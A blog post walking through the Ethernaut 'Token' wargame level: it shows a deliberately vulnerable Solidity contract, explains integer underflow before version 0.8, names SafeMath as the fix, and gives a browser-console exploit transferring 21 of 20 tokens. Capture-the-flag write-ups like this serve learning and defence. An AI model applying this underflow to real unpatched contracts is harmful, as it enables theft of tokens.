Daily Ethernaut Challenge - #5 Token
Tags: solidity, security, ethernaut, web3
Published: 2021-11-11 10:44:23

---
series: Daily Ethernaut Challenge
---

This is the series on playing with [Ethernaut](https://ethernaut.openzeppelin.com/), a level-based solidity challenge focusing on the hands-on solidity/web3 hacking. And I like this for adding fun to learning. Thanks to Openzeppelin team.

---

## Let's talk about the challenge
This challenge has a difficulty of 3/10. We start with 20 tokens and have to increase our balance from the initial value. Sound simple?

Here is the code

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```

Link to play: https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE

---

## Challenge Analysis

To have our balance increased normally, we would need someone to send us a new token or to withdraw it from somewhere. But it does not seem to be possible with this token.

So our guess would be something about number overflow or underflow. The number overflow in Solidity can be really problematic.

Let's say we do this. 

```solidity
uint256 a = 10
uint256 b = 20
uint256 c = a - b // => 115792089237316195423570985008687907853269984665640564039457584007913129639926
```

What happened here? Why it is not `-10` 😱😱😱 ?

> Prior to the Solidity version `0.8.x`, when a number in solidity goes above "max", it will roll back to "min" (overflow). And in the same manner, when a number goes below "min", it will roll to "max" (underflow). 

In the above case, `uint256` consists of non-negative numbers from {% katex inline %} 0 {% endkatex %} (min) to {% katex inline %}  2^{256} - 1 {% endkatex %} (max). 

And when it goes down below 0, it becomes the max number. So we get the result of `max - 10` 

For example,

```solidity
max_uint256 = 2 ** 256 - 1

uint256(-1) == max_uint256 // => true
uint256(-2) == max_uint256 - 1 // => true
uint256(-3) == max_uint256 - 2 // => true

max_uint256 + 1 == 0 // => true
max_uint256 + 2 == 1 // => true
max_uint256 + 3 == 2 // => true
```

One simple way to protect overflow is using [SafeMath](https://docs.openzeppelin.com/contracts/2.x/api/math). However, since the [version 0.8.x](https://docs.soliditylang.org/en/v0.8.0/080-breaking-changes.html#:~:text=Arithmetic%20operations%20revert%20on%20underflow%20and%20overflow.), the overflow/underflow protection has already been built-in.  

Read more about overflow and underflow: https://ethereum-blockchain-developer.com/010-solidity-basics/03-integer-overflow-underflow/

---

## Solving the challenge

So we would take a look at the code to see if there is any unprotected underflow. 

```solidity
 function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }
```

We can see the `require` line looks like something we can exploit. What if we make `balances[msg.sender] - _value` goes lower zero? This would roll the number back to max and pass the `require` condition.

Then on the next line `balances[msg.sender] -= _value;` our balance will go underflow and become max as well. 

---

## Solution
Same as before, it is recommended for you to try first before going forward. 

The solution is pretty straightforward, if we want to have max balance possible, we need to make our balance become `-1`. And we start with 20, so we would want to transfer out 21. 

```js
// Put this in the browser console

// Any other address is ok
sendToAddress = contract.address

// In case we want any balance increased, any number more than 20 is good already.
sendAmount = 21

// call the transfer function with our evil params 😈
contract.transfer(sendToAddress, sendAmount)
```

And...... Bam, now we are really rich! 🤑🤑🤑
![done](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9i82azs9196k63hihejk.png)


That's it! Feel free to share if you have any ideas or suggestions. 

---

Photo by <a href="https://unsplash.com/@vinikhill?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">NIKHIL KESHARWANI</a> on <a href="https://unsplash.com/s/photos/hack?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>